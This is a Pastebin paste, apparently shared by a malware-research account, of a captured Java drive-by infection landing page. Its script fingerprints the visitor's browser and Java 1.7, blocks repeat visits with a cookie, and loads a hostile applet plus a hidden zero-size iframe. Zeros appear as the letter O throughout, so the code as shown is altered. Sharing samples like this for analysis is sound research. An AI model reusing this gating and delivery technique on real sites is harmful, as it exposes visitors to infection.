Advertisement
unixfreaxjp

#malwareMustDie - Java Infector Trap HTML Page

Sep 12th, 2012
103
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <HTML>
  2. <HEAD>
  3. <TITLE> </TITLE>
  4. </HEAD>
  5. <BODY>
  6.  
  7. <script src="deployJava.js"></script>
  8. <SCRIPT LANGUAGE="JavaScript">
  9. function Get(){
  10. var Then = new Date()
  11. Then.setTime(Then.getTime() + 7*24*6O*6O*1OOO)
  12. var cookieString = new String(document.cookie)
  13. var cookieHeader = "Cookie1="
  14. var beginPosition = cookieString.indexOf(cookieHeader)
  15. if (beginPosition != -1)
  16. {
  17. location.href="about:blank";
  18. return O;
  19. }
  20. else
  21. {
  22. document.cookie = "Cookie1=rbssfs;expires="+ Then.toGMTString();
  23. return 1;
  24. }
  25. }
  26. Get();
  27.  
  28. function getjava() {
  29. var version=deployJava.getJREs();
  30. var java7 = version.toString().indexOf('1.7');
  31. if (java7<O)
  32. {
  33.  
  34. location.href="about:blank";
  35.  
  36. }
  37.  
  38. }
  39. var browser = deployJava.getBrowser();
  40. if (browser != 'MSIE') {
  41. location.href="about:blank";
  42. }
  43. getjava();
  44. </SCRIPT>
  45.  
  46. </BODY>
  47. <OBJECT
  48. classid="clsid:8AD9C84O-O44E-11D1-B3E9-OO8O5F499D93"
  49. width="2OO" height="2OO">
  50. <param name=CODE value= "subway.class">
  51. <param name=archive value= "applet.jar">
  52. </OBJECT>
  53. </OBJECT>
  54. <iframe height=O width=O src=feq.html>
  55. </HTML>
Advertisement
RAW Paste Data Copied
Advertisement